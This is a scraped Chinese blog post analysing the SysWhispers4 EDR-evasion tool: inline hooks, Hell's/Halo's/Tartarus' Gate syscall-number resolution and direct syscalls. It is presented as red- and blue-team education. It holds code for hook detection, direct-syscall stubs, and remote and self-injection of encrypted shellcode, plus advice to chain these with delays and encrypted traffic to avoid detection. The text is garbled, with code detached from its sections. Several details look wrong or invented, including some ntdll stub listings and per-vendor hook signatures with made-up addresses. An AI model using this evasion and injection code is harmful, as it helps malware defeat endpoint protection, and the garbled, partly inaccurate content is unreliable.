文章总结: 本文深入分析SysWhispers4源码,详解EDR用户态APIHook原理及DirectSyscall绕过技术。文章涵盖InlineHook实现、多种SSN解析方法包括Hell’sGate、Halo’sGate、Tartarus’Gate,分析CrowdStrike、SentinelOne等EDR产品的Hook特征,对比传统API调用与DirectSyscall的优劣。最后为蓝队和红队分别提供防御与攻击的最佳实践建议,强调纵深防御和持续演进的重要性。 综合评分: 88 文章分类: 红队,免杀,逆向分析,安全工具,内网渗透
edr绕过工具 SysWhispers4 源码分析系列(二)
原创
haidragon haidragon
安全狗的自我修养
2026年3月12日 12:33 湖南
-
官网:http://securitytech.cc
#
-
二、EDR Hook 与绕过原理
本文档基于 SysWhispers4 项目源码深度分析,详细讲解 EDR(Endpoint Detection and Response)的用户态 API Hook 技术及其绕过原理。SysWhispers4 提供了多种绕过 EDR Hook 的系统调用方法,是理解现代攻防对抗的绝佳案例。
1. 用户态 API Hook 原理
1.1 Hook 基本概念
API Hooking 是一种在函数执行前后插入自定义代码的技术,用于监控、修改或阻止函数调用。
Hook 的三大要素:
1.2 Windows API Hook 位置选择
从 SysWhispers4 的代码分析可见,EDR 通常选择在以下位置设置 Hook:
为什么选择这些位置?
1.3 Inline Hook 实现原理
Inline Hook 是最常见的 Hook 技术,通过修改目标函数的前几个字节实现重定向。
典型实现步骤:
内存布局变化:
1.4 EDR 的 Detour 函数逻辑
EDR 的 detour 函数通常执行以下操作:
2. 常见 EDR Hook 技术
2.1 基于 SysWhispers4 源码分析的 Hook 检测方法
SysWhispers4 实现了多种 SSN 解析方法,其中包含了检测 Hook 的逻辑。
方法 1:Hell’s Gate – 直接读取字节
检测原理:
正常的 ntdll syscall stub 应该是:
如果被 Hook,开头会变成:
方法 2:Halo’s Gate – 邻居扫描
检测示例:
假设
NtAllocateVirtualMemory被 Hook,但其相邻函数未被 Hook:Halo’s Gate 会:
方法 3:Tartarus’Gate – 高级 Hook 检测
扩展扫描范围:
Tartarus’Gate 将扫描范围从 ±8 扩展到 ±16:
2.2 实际 EDR 产品的 Hook 特征
根据 SysWhispers4 支持的多种绕过技术,我们可以推断常见 EDR 的 Hook 方式:
CrowdStrike Falcon
特征:使用近跳转(E9),覆盖前 5 字节
SentinelOne
特征:使用远跳转(FF 25),通过跳转表间接跳转
Carbon Black
特征:使用 INT3 断点,通过异常处理程序捕获
Microsoft Defender ATP
特征:MOV RAX + JMP RAX 组合,更难检测
2.3 Hook 检测实战代码
基于 SysWhispers4 的完整检测示例:
3. 为什么直接 syscall 能绕过 Hook
3.1 Hook 的作用域限制
关键洞察:EDR 的 Hook 只能拦截经过 Hook 点的代码路径。
3.2 SysWhispers4 的直接 syscall 实现
来自
generator.py的 ASM 生成代码:生成的汇编代码:
关键点:
3.3 对比分析
传统方式(被 Hook)
底层实现:
EDR 视角:
Direct Syscall 方式(绕过 Hook)
底层实现:
EDR 视角:
3.4 为什么 EDR 难以检测 Direct Syscall
原因 1:syscall 指令本身是合法的
原因 2:无法 Hook 硬件指令
EDR 可以修改内存中的代码,但无法修改 CPU 指令的行为:
原因 3:数量庞大,难以全部监控
从
prototypes.json可知,有 64+ 个 NT 函数可用:EDR 的困境:
3.5 Direct Syscall 的优势总结
| 特性 | 传统 API | Direct Syscall | | — | — | — | | 经过 kernel32 | ✓ | ✗ | | 经过 ntdll | ✓ | ✗ | | 被 EDR Hook | ✓ | ✗ | | 参数检查 | ✓ | ✗ | | 行为分析 | ✓ | ✗ | | 调用追踪 | ✓ | ✗ | | 绕过成功率 | 低 | 高 |
4. ntdll syscall stub 结构分析
4.1 标准 syscall stub 结构
来自 SysWhispers4 源码分析的正常 ntdll stub:
结构分解:
4.2 不同 Windows 版本的 stub 差异
从
syscalls_nt_x64.json分析多个版本的 stub:Windows 7 SP1
Windows 10 21H2
Windows 11 22H2
变化趋势:
4.3 被 Hook 的 stub 示例
类型 1:近跳转 Hook
检测特征:
类型 2:远跳转 Hook
跳转目标计算:
类型 3:断点 Hook
工作原理:
4.4 SysWhispers4 的 stub 生成逻辑
来自
generator.py的 ASM 生成代码:生成的完整文件(SW4Syscalls.asm):
4.5 自定义存根 vs ntdll 存根
ntdll 中的原始存根
特点:
SysWhispers4 生成的存根
优势:
5. API Hook 与 Direct Syscall 对比
5.1 全面对比表
| 维度 | API Hook | Direct Syscall | | — | — | — | | 检测能力 | | | | 函数识别 | ✓ 精确知道调用哪个函数 | ✗ 只知道发生了 syscall | | 参数检查 | ✓ 可以检查所有参数 | ✗ 无法获取参数语义 | | 调用栈追踪 | ✓ 完整的调用链 | ✗ 只有用户态存根 | | 行为分析 | ✓ 基于上下文判断 | ✗ 缺乏上下文信息 | | 绕过难度 | | | | 技术门槛 | 低(调用 Win32 API 即可) | 高(需要汇编知识) | | 实现复杂度 | 低(高级语言直接调用) | 中(需要生成存根代码) | | 被发现风险 | 高(EDR 重点监控) | 中(大量 syscall 难以区分) | | 性能影响 | | | | 调用开销 | 中(经过多层封装) | 低(直接进入内核) | | EDR 开销 | 高(需要分析每个调用) | 低(只能记录 syscall) | | 系统影响 | 中(影响应用程序性能) | 低(几乎无额外开销) | | 隐蔽性 | | | | 内存特征 | 正常 API 调用 | 非标准代码段 | | 流量特征 | 正常 | 可能与正常程序不同 | | 统计特征 | 符合正常模式 | 可能异常(syscall 频率) | | 适用场景 | | | | 红队行动 | ✗ 容易被发现 | ✓ 隐蔽性好 | | 恶意软件 | ✗ 容易被分析 | ✓ 增加分析难度 | | 合法软件 | ✓ 标准做法 | ✗ 可能触发警报 | | 安全研究 | ✓ 理解 EDR 原理 | ✓ 测试绕过技术 |
5.2 实际案例对比
案例 1:进程注入
传统方式(使用 Win32 API):
EDR 检测结果:
Direct Syscall 方式(使用 SysWhispers4):
EDR 检测结果:
差异分析:
案例 2:代码注入到自身
传统方式:
EDR 检测:
Direct Syscall 方式:
EDR 视角:
5.3 优缺点总结
API Hook 的优势(对 EDR 而言)
✅ 高精度检测:
✅ 行为分析:
✅ 实时阻断:
API Hook 的劣势(对 EDR 而言)
❌ 性能开销:
❌ 覆盖率问题:
❌ 可被绕过:
Direct Syscall 的优势(对攻击者而言)
✅ 绕过检测:
✅ 灵活性高:
✅ 学习价值:
Direct Syscall 的劣势(对攻击者而言)
❌ 实现复杂:
❌ 维护成本高:
❌ 并非银弹:
5.4 最佳实践建议
对于防御者(蓝队)
对于攻击测试者(红队)
## 总结
通过深入分析 SysWhispers4 项目源码,我们全面理解了 EDR Hook 技术与 Direct Syscall 绕过原理:
### 核心要点
### 技术启示
### 实际应用
蓝队应用:
红队应用:
安全研究:
参考资料:
#
-
SysWhispers4 源码:
syswhispers.py,generator.py,models.py -
SSN 表:
data/syscalls_nt_x64.json -
函数原型:
data/prototypes.json -
相关技术:Hell’s Gate, Halo’s Gate, Tartarus’Gate, FreshyCalls
-
深入理解 Windows internals
-
开发新型检测和绕过技术
-
推动安全技术发展
-
使用 Direct Syscall 绕过用户态 Hook
-
组合多种隐蔽技术
-
持续测试和优化绕过方法
-
部署多层次检测(用户态 + 内核态)
-
监控 syscall 模式和频率
-
结合行为分析和机器学习
-
没有银弹:没有任何一种技术能解决所有问题
-
纵深防御:需要多层检测机制配合
-
持续演进:攻防双方都在不断升级技术
-
理解本质:深入理解操作系统原理是关键
-
合法进程注入 + 文件less 技术 “`
-
高级 EDR 有其他检测方法
-
行为分析仍然有效
-
内核回调可以监控
-
SSN 随版本变化
-
需要持续更新
-
兼容性问题
-
需要汇编语言知识
-
需要了解调用约定
-
需要处理不同 Windows 版本
-
深入理解 Windows internals
-
掌握系统调用机制
-
提升逆向工程能力
-
可以自定义存根代码
-
可以加密/混淆 SSN
-
可以随机化调用方式
-
不经过用户态 Hook
-
EDR 无法获取语义信息
-
增加分析难度
-
攻击者可以使用 Direct Syscall
-
可以通过其他 DLL 导出函数
-
可以使用内核驱动(更高级)
-
只能 Hook 已知的 API
-
新的 Native API 无法覆盖
-
Direct Syscall 完全绕过
-
每个被 Hook 的函数都有额外处理
-
大量调用会导致系统变慢
-
影响用户体验
-
在调用发生前拦截
-
可以修改返回值
-
最小化损害
-
API 调用序列模式匹配
-
时间关联性分析
-
调用栈追踪
-
准确的函数识别
-
完整的参数检查
-
丰富的上下文信息
-
Hook 方式:识别出完整的注入模式
-
Syscall 方式:孤立的 syscall,难以关联
-
Hook 方式:看到
PAGE_EXECUTE_READWRITE(危险标志) -
Syscall 方式:无法获取参数的语义信息
-
Hook 方式:知道调用的是
VirtualAllocEx(高危) -
Syscall 方式:只知道是 syscall #24,不知道具体用途
-
位于应用程序自己的代码段
-
不会被 EDR Hook(除非 EDR 扫描整个进程内存)
-
更简洁高效
-
位于 ntdll.dll 的 .text 段
-
可能被 EDR Hook
-
包含额外的栈操作
-
第一条指令是
E9(近跳转) -
后续字节被破坏(无意义的指令)
-
Windows 7 → 简单直接
-
Windows 10 → 增加栈操作(可能是为了兼容性)
-
Windows 11 → 添加额外检查
-
监控所有 syscall?→ 性能开销巨大,误报率高
-
只监控部分?→ 攻击者使用其他函数绕过
-
基于行为分析?→ 容易被正常程序误判
-
kernel32.dll:所有 Win32 API 的必经之路,覆盖率高
-
ntdll.dll:更接近内核,能捕获更底层的操作
-
Hook 原理:通过修改函数前几个字节实现重定向
-
检测方法:Hell’s Gate、Halo’s Gate、Tartarus’Gate 等多种技术
-
绕过原理:Direct Syscall 完全不经过被 Hook 的 ntdll 函数
-
stub 结构:标准 syscall stub 包含 SSN 设置和 syscall 指令
-
对比分析:API Hook 提供丰富上下文,Direct Syscall 绕过检测但实现复杂
-
测试 EDR 响应: “` 逐步升级测试:
-
单个 syscall → 观察反应
-
完整注入流程 → 检测阈值
-
组合技术 → 评估防护效果 “`
-
// 敏感操作使用 syscall -
NtAllocateVirtualMemory(...)// ✓ -
VirtualAlloc(...)// ✗ -
优先使用 Direct Syscall:
-
组合多种技术:
“` Direct Syscall + 加密通信 + 延迟执行
-
// 即使不知道具体函数,也可以监控模式 -
if(syscall_frequency > THRESHOLD){ -
alert("Abnormal syscall activity"); -
} -
if(syscall_sequence == KNOWN_ATTACK_PATTERN){ -
alert("Potential injection detected"); -
} -
✗只靠 API Hook -
✓结合多种技术: -
-内核回调(KernelCallbacks) -
-内存扫描(MemoryScanning) -
-行为分析(BehavioralAnalysis) -
-机器学习(ML-based Detection) -
不要依赖单一检测手段:
- 监控 syscall 模式:
-
使用内核驱动:
c// 内核层监控无法被绕过PsSetCreateProcessNotifyRoutine(ProcessCallback);ObRegisterCallbacks(&ObjectCallbacks); -
[WARNING]SuspiciousActivity(LowConfidence) -
├─Observations: -
│├─Process allocated executable memory -
│├─Memory copy operation detected -
│└─Code execution from heap -
├─MissingContext: -
│├─NoWin32 API call trace -
│├─Cannot verify allocation purpose -
│└─Execution path unclear -
└─Action:Flaggedfor manual review -
// SysWhispers4 自注入 -
PVOID base = NULL; -
SIZE_T size =0x1000; -
NtAllocateVirtualMemory( -
GetCurrentProcess(),&base,0,&size, -
MEM_COMMIT, PAGE_EXECUTE_READWRITE -
); -
// 加密传输 shellcode -
XorDecrypt(encryptedShellcode, decrypted, size, key); -
memcpy(base, decrypted, size); -
// 延迟执行(避免关联) -
Sleep(5000); -
((void(*)())base)(); -
[ALERT]Self-InjectionDetected -
├─Pattern:Alloc+Write+Executein same process -
├─SuspiciousFlags: -
│├─ PAGE_EXECUTE_READWRITE -
│├─Shellcode-like byte patterns -
│└─Immediate execution after allocation -
└─Action: TERMINATED -
// 自注入(仍然可被检测) -
LPVOID pMem =VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); -
memcpy(pMem, shellcode, size); -
((void(*)())pMem)();// 执行 shellcode -
行为关联:
-
参数检查:
-
函数识别:
-
[INFO]SyscallActivity -
├─Process: malware.exe (PID:1234) -
├─SyscallsObserved: -
│├─ syscall #78 (NtOpenProcess) -
│├─ syscall #24 (NtAllocateVirtualMemory) -
│├─ syscall #58 (NtWriteVirtualMemory) -
│└─ syscall #201 (NtCreateThreadEx) -
├─Analysis:Unable to determine intent -
├─RiskScore:35/100(insufficient context) -
└─Action:Logged only (no alert) -
// 使用 SysWhispers4 绕过检测 -
HANDLE hProcess; -
NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS,&oa,&clientId); -
PVOID pBase = NULL; -
SIZE_T regionSize =0x1000; -
NtAllocateVirtualMemory( -
hProcess,&pBase,0,®ionSize, -
MEM_COMMIT | MEM_RESERVE, -
PAGE_EXECUTE_READWRITE -
); -
//自己syscall实现 -
NtWriteVirtualMemory(hProcess, pBase, shellcode, shellcodeSize, NULL); -
HANDLE hThread; -
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, -
pBase, NULL, FALSE,0,0,0, NULL); -
[ALERT]ProcessInjectionDetected! -
├─Technique:ClassicRemoteThreadInjection -
├─SourceProcess: malware.exe (PID:1234) -
├─TargetProcess: explorer.exe (PID:5678) -
├─ API Sequence: -
│├─OpenProcess(PROCESS_ALL_ACCESS) -
│├─VirtualAllocEx(PAGE_EXECUTE_READWRITE)←高危标志 -
│├─WriteProcessMemory(写入可执行内存) -
│└─CreateRemoteThreadEx(创建远程线程) -
├─RiskScore:95/100 -
└─Action: BLOCKED +AlertSent -
// 明显的注入行为 -
HANDLE hProcess =OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid); -
LPVOID pRemoteMem =VirtualAllocEx(hProcess, NULL, shellcodeSize, -
MEM_COMMIT | MEM_RESERVE, -
PAGE_EXECUTE_READWRITE); -
WriteProcessMemory(hProcess, pRemoteMem, shellcode, shellcodeSize, NULL); -
HANDLE hThread =CreateRemoteThreadEx(hProcess, NULL,0, -
pRemoteMem, NULL,0, NULL, NULL); -
;应用程序自己的存根(不会被Hook) -
myapp_code:0000000140001000 -
mov r10, rcx -
mov eax,18h -
syscall -
ret -
; ntdll.dll 中的存根(可能被Hook) -
.text:0000000180001234 -
mov [rsp+8], rcx -
mov eax,18h -
mov r10,[rsp+4] -
syscall -
ret -
; SW4Syscalls.asm-由SysWhispers4生成 -
.code -
;============================================================ -
;直接 syscall 存根 -
;============================================================ -
NtAllocateVirtualMemory PROC -
mov r10, rcx -
mov eax,0x18 -
syscall -
ret -
NtAllocateVirtualMemory ENDP -
NtCreateThreadEx PROC -
mov r10, rcx -
mov eax,0xC9 -
syscall -
ret -
NtCreateThreadEx ENDP -
NtWriteVirtualMemory PROC -
mov r10, rcx -
mov eax,0x3A -
syscall -
ret -
NtWriteVirtualMemory ENDP -
END -
def _gen_asm_msvc(self): -
"""为 MSVC/MASM 生成汇编存根""" -
lines =[] -
for proto in self._prototypes: -
# 获取 SSN(根据选择的解析方法) -
if self.cfg.resolve ==ResolutionMethod.Static: -
ssn = self._get_static_ssn(proto.name) -
else: -
ssn =0# 动态解析时占位 -
# 根据调用方法生成不同的存根 -
if self.cfg.method ==InvocationMethod.Embedded: -
lines.extend(self._gen_embedded_stub(proto, ssn)) -
elif self.cfg.method ==InvocationMethod.Indirect: -
lines.extend(self._gen_indirect_stub(proto, ssn)) -
elif self.cfg.method ==InvocationMethod.Randomized: -
lines.extend(self._gen_randomized_stub(proto, ssn)) -
elif self.cfg.method ==InvocationMethod.Egg: -
lines.extend(self._gen_egg_stub(proto, ssn)) -
return"\n".join(lines) -
def _gen_embedded_stub(self, proto, ssn): -
"""生成直接 syscall 存根""" -
return[ -
f"{proto.name} PROC", -
f" mov r10, rcx",;参数传递 -
f" mov eax, 0x{ssn:X}",; SSN -
f" syscall",;进入内核 -
f" ret", -
f"{proto.name} ENDP" -
] -
CPU 执行到
int3触发异常 -
EDR 的异常处理程序接管
-
分析调用上下文
-
决定是否允许继续执行
-
;被 INT3 Hook -
00007FF812345678 CC int3 ; 断点` -
00007FF812345679 B818000000 mov eax,18h;原始指令保留` -
00007FF81234567E 0F05 syscall` -
目标地址=当前 RIP +偏移量 -
=00007FF81234567E + 0xD5C4B3A2` -
= 00007FF8E7F90A20 (EDR 的跳转表)` -
;被Hook后(FF 25间接跳转) -
00007FF812345678 FF25A2B3C4D5 jmp qword ptr [rip+0xD5C4B3A2]` -
00007FF81234567E0000 add [rax], al ;填充字节` -
;原始 stub -
00007FF812345678 48894C2408 mov [rsp+8], rcx` -
00007FF81234567D B818000000 mov eax,18h` -
00007FF812345682 4C8B4C2404 mov r10, [rsp+4]` -
00007FF8123456870F05 syscall` -
00007FF812345689 C3 ret` -
; 被 Hook 后(前 5 字节被替换) -
00007FF812345678 E9A3B2C1D0 jmp 00007FF811111120 ; EDR detour -
00007FF81234567D00B8180000 add [rax+18h], bh ;被覆盖的字节` -
00007FF812345682 04C24 add al, 24h` -
00007FF8123456850F05 syscall ;残留字节` -
;Windows11的 stub 略有优化 -
NtAllocateVirtualMemory: -
test rax, rax ;新增的测试指令 -
mov eax,18h -
mov r10, rcx -
syscall -
ret -
;现代 stub 格式(增加了栈操作) -
NtAllocateVirtualMemory: -
mov [rsp+8], rcx ;额外保存寄存器 -
mov eax,18h -
mov r10,[rsp+4];从栈上取值 -
syscall -
ret -
;较老的 stub 格式 -
NtAllocateVirtualMemory: -
mov eax,46h; SSN =70 -
mov r10, rcx -
syscall -
ret -
syscall ;特权级转换 -
mov r10,[rsp+4]; x64 调用约定要求 RCX→R10 -
mov eax,18h;系统服务号放入 EAX -
Prologue(前导指令):
asmmov[rsp+8],rcx;保存第一个参数到影子空间 -
SSN 设置:
- 参数准备:
- Syscall 执行:
-
Epilogue(结束指令):
asmret;返回到调用者 -
; ntdll!NtAllocateVirtualMemory(Windows1021H2) -
00007FF812345678 48894C2408 mov [rsp+8], rcx ; 保存 rcx` -
00007FF81234567D B818000000 mov eax,18h; SSN =24` -
00007FF812345682 4C8B4C2404 mov r10, [rsp+4] ; 从栈上取参数` -
00007FF8123456870F05 syscall ;进入内核` -
00007FF812345689 C3 ret ; 返回` -
# SysWhispers4 支持的部分函数 -
functions =[ -
"NtAllocateVirtualMemory", -
"NtCreateThreadEx", -
"NtWriteVirtualMemory", -
"NtReadVirtualMemory", -
"NtProtectVirtualMemory", -
"NtOpenProcess", -
"NtOpenThread", -
# ... 还有 58 个函数 -
] -
syscall 指令的行为由 CPU 微架构决定: -
1.切换到Ring0 -
2.跳转到 IA32_LSTAR MSR 指定的地址 -
3.执行内核中的KiSystemCall64 -
EDR 无法: -
-修改 syscall 的机器码(0F05) -
-拦截 CPU 的特权级转换 -
-修改 SSDT 表(受内核保护) -
;好的 syscall -
mov eax,3Ch; sys_exit_group -
syscall -
;"坏"的 syscall -
mov eax,18h;NtAllocateVirtualMemory -
syscall -
;对 EDR 来说,看起来都一样! -
✗没有检测到 kernel32 API 调用 -
✗没有检测到 ntdll API 调用(因为根本没调用) -
✗只看到一条 syscall 指令(无法区分好坏) -
✗无法获取调用的语义信息(哪个函数?什么参数?) -
;应用程序自己的存根(不在 ntdll 中) -
myapp!NtAllocateVirtualMemory: -
mov r10, rcx -
mov eax,18h -
syscall ;←直接执行,不经过 ntdll -
ret -
// 使用 SysWhispers4 -
NtAllocateVirtualMemory( -
GetCurrentProcess(), -
&baseAddress, -
0, -
&size, -
MEM_COMMIT, -
PAGE_EXECUTE_READWRITE -
); -
✓检测到 kernel32!VirtualAlloc调用 -
✓检测到 ntdll!NtAllocateVirtualMemory调用 -
✓可以检查参数(size, protection flags) -
✓可以阻止调用或发出警报 -
; kernel32!VirtualAlloc -
push rbp -
mov rbp, rsp -
sub rsp,20h -
;...参数验证和预处理... -
call ntdll!NtAllocateVirtualMemory;←这里被Hook -
leave -
ret -
// 传统调用方式 -
VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); -
完全不调用 ntdll.dll:代码在应用程序自己的空间
-
没有中间层:直接从应用层到内核层
-
EDR 无法拦截:因为没有经过任何 Hook 点
-
;SysWhispers4生成的NtAllocateVirtualMemory -
PUBLIC NtAllocateVirtualMemory -
NtAllocateVirtualMemory PROC -
mov r10, rcx ;第1参数 RCX → R10 -
mov eax,18h; SSN =24(Windows1021H2) -
syscall ;直接进入内核 -
ret ;返回 -
NtAllocateVirtualMemory ENDP -
def _gen_asm_msvc(self): -
"""生成 MASM 汇编的直接 syscall 存根""" -
lines =[] -
for proto in self._prototypes: -
ssn = self._get_ssn(proto.name) -
# 生成完全独立的 syscall 存根 -
lines.append(f"{proto.name} PROC") -
lines.append(f" mov r10, rcx"); x64 调用约定 -
lines.append(f" mov eax, 0x{ssn:X}");设置 SSN -
lines.append(f" syscall");直接进入内核 -
lines.append(f" ret") -
lines.append(f"{proto.name} ENDP") -
return"\n".join(lines) -
┌─────────────────────────────────────────────────┐ -
│传统Win32 API 调用│ -
├─────────────────────────────────────────────────┤ -
│CreateRemoteMemory()[kernel32.dll]│ -
│↓│ -
│[HOOK POINT]← EDR 在这里设置Hook│ -
│↓│ -
│NtAllocateVirtualMemory()[ntdll.dll]│ -
│↓│ -
│ syscall 指令│ -
│↓│ -
│内核│ -
└─────────────────────────────────────────────────┘ -
┌─────────────────────────────────────────────────┐ -
│DirectSyscall调用│ -
├─────────────────────────────────────────────────┤ -
│应用程序自定义存根│ -
│↓│ -
│ mov eax, SSN │ -
│ mov r10, rcx │ -
│ syscall ←直接进入内核,不经过 ntdll!│ -
│↓│ -
│内核│ -
└─────────────────────────────────────────────────┘ -
#include<windows.h> -
#include<stdio.h> -
typedefstruct _HOOK_ANALYSIS { -
BOOL IsHooked; -
CHAR HookType[32]; -
BYTE OriginalBytes[15]; -
PVOID DetourAddress; -
} HOOK_ANALYSIS,*PHOOK_ANALYSIS; -
// 检测函数是否被 Hook -
HOOK_ANALYSIS AnalyzeFunctionHook(PVOID pFunction){ -
HOOK_ANALYSIS result ={0}; -
BYTE* pCode =(BYTE*)pFunction; -
// 保存原始字节 -
memcpy(result.OriginalBytes, pCode,15); -
// 检测各种 Hook 类型 -
if(pCode[0]==0xE9){ -
result.IsHooked= TRUE; -
strcpy_s(result.HookType,"NEAR_JMP"); -
// 计算 detour 地址 -
LONG offset =*(LONG*)(pCode +1); -
result.DetourAddress= pCode +5+ offset; -
} -
elseif(pCode[0]==0xFF&& pCode[1]==0x25){ -
result.IsHooked= TRUE; -
strcpy_s(result.HookType,"FAR_JMP"); -
// 读取间接地址 -
LONG offset =*(LONG*)(pCode +2); -
PVOID* pIndirect =(PVOID*)(pCode +6+ offset); -
result.DetourAddress=*pIndirect; -
} -
elseif(pCode[0]==0xCC){ -
result.IsHooked= TRUE; -
strcpy_s(result.HookType,"INT3_BP"); -
} -
elseif(pCode[0]==0x48&& pCode[1]==0xB8){ -
// 检查是否有 JMP RAX -
for(int i =2; i <12; i++){ -
if(pCode[i]==0xFF&& pCode[i+1]==0xE0){ -
result.IsHooked= TRUE; -
strcpy_s(result.HookType,"MOV_RAX_JMP"); -
result.DetourAddress=*(PVOID*)(pCode +2); -
break; -
} -
} -
} -
elseif(pCode[0]==0xB8){ -
// 正常的 syscall stub -
result.IsHooked= FALSE; -
strcpy_s(result.HookType,"CLEAN"); -
} -
return result; -
} -
// 使用示例 -
voidCheckNtdllHooks(){ -
HMODULE hNtdll =GetModuleHandleA("ntdll.dll"); -
constchar* functions[]={ -
"NtAllocateVirtualMemory", -
"NtCreateThreadEx", -
"NtWriteVirtualMemory", -
"NtOpenProcess" -
}; -
for(int i =0; i <4; i++){ -
PVOID pFunc =GetProcAddress(hNtdll, functions[i]); -
HOOK_ANALYSIS analysis =AnalyzeFunctionHook(pFunc); -
printf("%-30s: ", functions[i]); -
if(analysis.IsHooked){ -
printf("\033[31mHOOKED\033[0m (%s) @ %p\n", -
analysis.HookType, analysis.DetourAddress); -
}else{ -
printf("\033[32mCLEAN\033[0m\n"); -
} -
} -
} -
;Defender的高级Hook -
00007FF812345678 48B812345678 mov rax, 0x78563412` -
00007FF81234568290909090 nop` -
00007FF812345686 FFE0 jmp rax` -
;CarbonBlack的断点Hook -
00007FF812345678 CC int3 ; 触发异常` -
00007FF812345679 B818000000 mov eax,18h` -
00007FF81234567E 0F05 syscall` -
;SentinelOne的Hook变体 -
00007FF812345678 FF25A2B3C4D5 jmp qword ptr [rip+0xD5C4B3A2]` -
; 跳转到间接地址 -
00007FF81234567E0000 add [rax], al` -
;CrowdStrike的典型Hook -
00007FF812345678 E912345678 jmp csdetourfunction` -
00007FF81234567D90 nop` -
00007FF81234567E 90 nop` -
static DWORD TartarusGateResolve(constchar* funcName, PVOID pModule){ -
PVOID pFunction =GetProcAddress(pModule, funcName); -
// 1. 先检查是否被 Hook -
if(IsHooked_Tartarus((BYTE*)pFunction)){ -
printf("Function %s is hooked, scanning neighbors...\n", funcName); -
// 2. 扩大扫描范围到 ±16 -
for(int offset =1; offset <=16; offset++){ -
// 双向扫描逻辑同 Halo's Gate -
// ... -
} -
} -
// 3. 如果未被 Hook,直接读取 -
returnHellsGateReadSSN(pFunction); -
} -
// 来自 generator.py - Tartarus'Gate 增强版 -
static BOOL IsHooked_Tartarus(BYTE* pFunction){ -
// 检测类型 1: 近跳转 (E9) -
if(pFunction[0]==0xE9){ -
printf("Detected near JMP hook\n"); -
return TRUE; -
} -
// 检测类型 2: 远跳转 (FF 25) -
if(pFunction[0]==0xFF&& pFunction[1]==0x25){ -
printf("Detected far JMP hook\n"); -
return TRUE; -
} -
// 检测类型 3: 断点 (CC) -
if(pFunction[0]==0xCC){ -
printf("Detected INT3 hook\n"); -
return TRUE; -
} -
// 检测类型 4: PUSH + RET (FF 75 .. C3) -
if(pFunction[0]==0xFF&& pFunction[1]==0x75){ -
printf("Detected PUSH/RET hook\n"); -
return TRUE; -
} -
// 检测类型 5: MOV RAX, JMP RAX (48 B8 .. FF E0) -
if(pFunction[0]==0x48&& pFunction[1]==0xB8){ -
// 查找后续的 FF E0 (JMP RAX) -
for(int i =2; i <12; i++){ -
if(pFunction[i]==0xFF&& pFunction[i+1]==0xE0){ -
printf("Detected MOV RAX + JMP RAX hook\n"); -
return TRUE; -
} -
} -
} -
return FALSE;// 未检测到 Hook -
} -
检查
...12345600→ 读到 SSN=22 -
推断被 Hook 函数的 SSN = 22 + 2 = 24 ✓
-
函数名地址 SSN -
-------------------------------------------------- -
NtAdjustPrivilegesToken...1234560022←未Hook -
NtAllocateVirtualMemory...12345620??←被Hook(E9 ...) -
NtAllocateReserveObject...1234564024←未Hook -
// 来自 generator.py - Halo's Gate 实现 -
static DWORD HalosGateReadSSN(PVOID pFunction,constchar* funcName){ -
// 1. 先尝试直接读取 -
DWORD ssn =HellsGateReadSSN(pFunction); -
if(ssn != INVALID_SSN) -
return ssn; -
// 2. 向前后扫描邻近函数(±8 个) -
for(int offset =1; offset <=8; offset++){ -
// 向上扫描(地址减小方向) -
PVOID pHigher =(BYTE*)pFunction -(offset *0x20); -
ssn =HellsGateReadSSN(pHigher); -
if(ssn != INVALID_SSN){ -
// 推断原始 SSN = 找到的 SSN - 偏移 -
return ssn - offset; -
} -
// 向下扫描(地址增加方向) -
PVOID pLower =(BYTE*)pFunction +(offset *0x20); -
ssn =HellsGateReadSSN(pLower); -
if(ssn != INVALID_SSN){ -
// 推断原始 SSN = 找到的 SSN + 偏移 -
return ssn + offset; -
} -
} -
return INVALID_SSN; -
} -
jmp detour ; E9 XX XX XX XX -
mov eax, SSN ; B8 XX XX XX XX -
mov r10, rcx ;4C8B4C2408 -
syscall ;0F05 -
ret ; C3 -
// 来自 generator.py - Hell's Gate 实现 -
static DWORD HellsGateReadSSN(PVOID pFunction){ -
BYTE* pCode =(BYTE*)pFunction; -
// 检查是否是标准的 "mov eax, imm32" 指令 -
// 机器码:B8 XX XX XX XX -
if(pCode[0]==0xB8){ -
DWORD ssn =*(DWORD*)(pCode +1); -
return ssn;// 成功读取 SSN -
} -
// 如果第一条指令不是 B8,可能被 Hook -
return INVALID_SSN; -
} -
// EDR Detour 函数伪代码 -
NTSTATUS NTAPI Detour_NtAllocateVirtualMemory( -
HANDLE ProcessHandle, -
PVOID*BaseAddress, -
ULONG_PTR ZeroBits, -
PSIZE_T RegionSize, -
ULONG AllocationType, -
ULONG Protect -
){ -
// 1. 行为分析 -
if(IsSuspiciousBehavior(ProcessHandle,AllocationType,Protect)){ -
// 2. 记录日志 -
LogSuspiciousActivity( -
"NtAllocateVirtualMemory", -
GetCurrentProcessId(), -
AllocationType, -
Protect -
); -
// 3. 可能采取的行动 -
if(ShouldBlock()){ -
return STATUS_ACCESS_DENIED;// 阻止操作 -
} -
if(ShouldAlertOnly()){ -
// 继续执行但发送警报 -
SendAlertToServer(...); -
} -
} -
// 4. 调用原始函数 -
returnOriginal_NtAllocateVirtualMemory( -
ProcessHandle,BaseAddress,ZeroBits, -
RegionSize,AllocationType,Protect -
); -
} -
;Hook前的NtAllocateVirtualMemory -
00007FF812345678 48894C2408 mov [rsp+8], rcx` -
00007FF81234567D B818000000 mov eax,18h; SSN =24` -
00007FF812345682 0F05 syscall ; 系统调用` -
00007FF812345684 C3 ret ;返回` -
;Hook后的NtAllocateVirtualMemory -
00007FF812345678 E9A1B2C3D4 jmp 00007FF81111111E;跳转到 EDR 的 detour 函数 -
00007FF81234567D 0000 add [rax], al ; 被覆盖的原始字节` -
00007FF81234567F0000 add [rax], al` -
// 伪代码:Inline Hook 实现 -
voidInstallHook(void* pTargetFunction,void* pDetourFunction){ -
// 1. 保存原始字节(通常前 5-15 字节) -
BYTE originalBytes[15]; -
memcpy(originalBytes, pTargetFunction,15); -
// 2. 构造跳转指令(JMP rel32) -
// 机器码:E9 xx xx xx xx (相对跳转) -
BYTE hookCode[5]={0xE9}; -
DWORD relativeOffset =(BYTE*)pDetourFunction -((BYTE*)pTargetFunction +5); -
*(DWORD*)(hookCode +1)= relativeOffset; -
// 3. 修改内存保护属性(RWX) -
DWORD oldProtect; -
